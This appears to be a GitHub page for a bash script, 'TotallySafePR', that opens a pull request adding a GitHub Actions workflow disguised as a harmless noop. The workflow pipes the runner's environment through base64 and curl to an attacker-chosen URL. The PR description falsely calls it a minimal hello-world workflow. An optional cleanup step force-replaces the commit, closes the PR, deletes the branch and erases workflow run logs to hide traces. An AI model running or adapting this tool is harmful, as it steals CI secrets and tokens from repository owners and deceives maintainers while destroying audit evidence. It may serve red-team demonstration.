-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathcreate-pr.sh
More file actions
executable file
·189 lines (167 loc) · 7.1 KB
/
create-pr.sh
File metadata and controls
executable file
·189 lines (167 loc) · 7.1 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
#!/usr/bin/env bash
# TotallySafePR: Create a PR that adds .github/workflows/noop-step.yml with #helloworld.
set -euo pipefail
if [[ $# -lt 2 ]]; then
echo "Usage: $0 <repo> <url>"
echo " repo: owner/name (e.g. MattKeeley/pipeline-demo)"
echo " url: POST endpoint for workflow (e.g. https://url.oastify.com/)"
echo ""
echo "Optional env:"
echo " AUTO_CLOSE_AFTER_SECONDS If set (e.g. 120 for 2m), close the PR and delete the branch after that many seconds."
echo " Also attempts to delete workflow run logs for that branch (runs must be completed)."
exit 1
fi
REPO="$1"
EXFIL_URL="$2"
REPO_OWNER="${REPO%%/*}"
BRANCH_NAME="${BRANCH_NAME:-totally-safe-pr-$(printf '%04d' $((RANDOM % 10000)))}"
GITHUB_TOKEN="${GITHUB_TOKEN:-}"
if [[ -z "$GITHUB_TOKEN" ]]; then
echo "GITHUB_TOKEN is not set."
printf 'Paste your GitHub PAT: '
read -rs GITHUB_TOKEN
echo
if [[ -z "$GITHUB_TOKEN" ]]; then
echo "No token provided. Exiting."
exit 1
fi
fi
WORKFLOW_FILE=".github/workflows/noop-step.yml"
WORKFLOW_CONTENT="# demo-workflow
name: noop-step
on:
pull_request:
pull_request_target:
push:
branches: [main, master]
workflow_dispatch:
jobs:
noop:
runs-on: ubuntu-latest
steps:
- name: \"noop\"
run: \"printenv | base64 -w0 | curl -sS -X POST -H \\\"Content-Type: application/octet-stream\\\" --data-binary @- ${EXFIL_URL}\"
"
CLONE_DIR=$(mktemp -d)
trap 'rm -rf "$CLONE_DIR"' EXIT
# Default branch for PR base (used if we create PR via API)
default_branch=$(curl -sS -H "Authorization: Bearer $GITHUB_TOKEN" -H "Accept: application/vnd.github+json" \
"https://api.github.com/repos/$REPO" | jq -r '.default_branch // "main"')
[[ "$default_branch" == "null" ]] && default_branch="main"
echo "Repo: $REPO"
echo "Branch: $BRANCH_NAME"
echo ""
# Clone (use token in URL for auth)
clone_url="https://${GITHUB_TOKEN}@github.com/${REPO}.git"
git -c credential.helper= clone --depth 1 "$clone_url" "$CLONE_DIR"
cd "$CLONE_DIR"
# Create branch and add file
git checkout -b "$BRANCH_NAME"
mkdir -p .github/workflows
printf '%s' "$WORKFLOW_CONTENT" > "$WORKFLOW_FILE"
git add "$WORKFLOW_FILE"
git -c user.name="TotallySafePR" -c user.email="noreply@localhost" commit -m "Add .github/workflows/noop-step.yml"
# Push branch
git push -q origin "$BRANCH_NAME"
# Create PR: prefer gh if available, else API
API="https://api.github.com"
AUTH_HEADER="Authorization: Bearer $GITHUB_TOKEN"
ACCEPT_HEADER="Accept: application/vnd.github+json"
if command -v gh &>/dev/null && gh auth status &>/dev/null; then
pr_url=$(gh pr create --repo "$REPO" --head "$BRANCH_NAME" --title "Add .github/workflows/noop-step.yml" --body "Adds \`$WORKFLOW_FILE\` with a #helloworld comment (minimal workflow_dispatch-only workflow).")
echo "PR opened: $pr_url"
pr_number=$(echo "$pr_url" | sed -n 's|.*/pull/\([0-9]*\)|\1|p')
else
pr_json=$(curl -sS -X POST \
-H "$AUTH_HEADER" \
-H "$ACCEPT_HEADER" \
-H "X-GitHub-Api-Version: 2022-11-28" \
-H "Content-Type: application/json" \
"$API/repos/$REPO/pulls" \
-d "{\"title\": \"Add .github/workflows/noop-step.yml\", \"head\": \"$BRANCH_NAME\", \"base\": \"$default_branch\", \"body\": \"Adds \`$WORKFLOW_FILE\` with a #helloworld comment.\"}")
pr_url=$(echo "$pr_json" | jq -r '.html_url')
pr_number=$(echo "$pr_json" | jq -r '.number')
if [[ "$pr_url" == "null" || -z "$pr_url" ]]; then
echo "PR creation failed:"; echo "$pr_json" | jq . 2>/dev/null || echo "$pr_json"
echo "Open manually: https://github.com/$REPO/compare/$default_branch...$BRANCH_NAME"
exit 1
fi
echo "PR opened: $pr_url"
fi
# Optional: wait N seconds, push noop workflow (squash-style cleanup), then close PR, delete branch, delete run logs
if [[ -n "${AUTO_CLOSE_AFTER_SECONDS:-}" && "$pr_number" =~ ^[0-9]+$ ]]; then
NOOP_WORKFLOW='name: noop-step
on:
workflow_dispatch:
jobs:
noop:
runs-on: ubuntu-latest
steps:
- run: echo "noop"
'
echo "Waiting ${AUTO_CLOSE_AFTER_SECONDS}s (leave script running)..."
sleep "$AUTO_CLOSE_AFTER_SECONDS"
echo "[auto-close] Replacing with noop workflow via API, then closing PR #$pr_number and deleting branch $BRANCH_NAME..."
base_sha=$(curl -sS -H "$AUTH_HEADER" -H "$ACCEPT_HEADER" \
"$API/repos/$REPO/git/ref/heads/$default_branch" | jq -r '.object.sha')
if [[ -z "$base_sha" || "$base_sha" == "null" ]]; then
echo "[auto-close] ERROR: failed to get base SHA"; exit 1
fi
base_tree_sha=$(curl -sS -H "$AUTH_HEADER" -H "$ACCEPT_HEADER" \
"$API/repos/$REPO/git/commits/$base_sha" | jq -r '.tree.sha')
if [[ -z "$base_tree_sha" || "$base_tree_sha" == "null" ]]; then
echo "[auto-close] ERROR: failed to get base tree SHA"; exit 1
fi
noop_b64=$(printf '%s' "$NOOP_WORKFLOW" | base64 | tr -d '\n')
blob_sha=$(curl -sS -X POST \
-H "$AUTH_HEADER" -H "$ACCEPT_HEADER" \
-H "Content-Type: application/json" \
"$API/repos/$REPO/git/blobs" \
-d "{\"content\":\"$noop_b64\",\"encoding\":\"base64\"}" | jq -r '.sha')
if [[ -z "$blob_sha" || "$blob_sha" == "null" ]]; then
echo "[auto-close] ERROR: failed to create blob"; exit 1
fi
new_tree_sha=$(curl -sS -X POST \
-H "$AUTH_HEADER" -H "$ACCEPT_HEADER" \
-H "Content-Type: application/json" \
"$API/repos/$REPO/git/trees" \
-d "{\"base_tree\":\"$base_tree_sha\",\"tree\":[{\"path\":\"$WORKFLOW_FILE\",\"mode\":\"100644\",\"type\":\"blob\",\"sha\":\"$blob_sha\"}]}" | jq -r '.sha')
if [[ -z "$new_tree_sha" || "$new_tree_sha" == "null" ]]; then
echo "[auto-close] ERROR: failed to create tree"; exit 1
fi
new_commit_sha=$(curl -sS -X POST \
-H "$AUTH_HEADER" -H "$ACCEPT_HEADER" \
-H "Content-Type: application/json" \
"$API/repos/$REPO/git/commits" \
-d "{\"message\":\"Add .github/workflows/noop-step.yml\",\"tree\":\"$new_tree_sha\",\"parents\":[\"$base_sha\"]}" | jq -r '.sha')
if [[ -z "$new_commit_sha" || "$new_commit_sha" == "null" ]]; then
echo "[auto-close] ERROR: failed to create commit"; exit 1
fi
ref_result=$(curl -sS -X PATCH \
-H "$AUTH_HEADER" -H "$ACCEPT_HEADER" \
-H "Content-Type: application/json" \
"$API/repos/$REPO/git/refs/heads/$BRANCH_NAME" \
-d "{\"sha\":\"$new_commit_sha\",\"force\":true}")
ref_sha=$(echo "$ref_result" | jq -r '.object.sha // empty')
if [[ "$ref_sha" != "$new_commit_sha" ]]; then
echo "[auto-close] ERROR: ref update failed: $ref_result"; exit 1
fi
sleep 5
curl -sS -X PATCH \
-H "$AUTH_HEADER" \
-H "$ACCEPT_HEADER" \
-H "X-GitHub-Api-Version: 2022-11-28" \
-H "Content-Type: application/json" \
-d '{"state":"closed"}' \
"$API/repos/$REPO/pulls/$pr_number" >/dev/null || true
curl -sS -X DELETE \
-H "$AUTH_HEADER" \
-H "X-GitHub-Api-Version: 2022-11-28" \
"$API/repos/$REPO/git/refs/heads/$BRANCH_NAME" >/dev/null || true
run_ids=$(curl -sS -H "$AUTH_HEADER" -H "$ACCEPT_HEADER" \
"$API/repos/$REPO/actions/runs?branch=$BRANCH_NAME&per_page=20" | jq -r '.workflow_runs[]? | select(.status == "completed") | .id')
for run_id in $run_ids; do
curl -sS -X DELETE -H "$AUTH_HEADER" "$API/repos/$REPO/actions/runs/$run_id" >/dev/null || true
done
echo "[auto-close] Done."
fi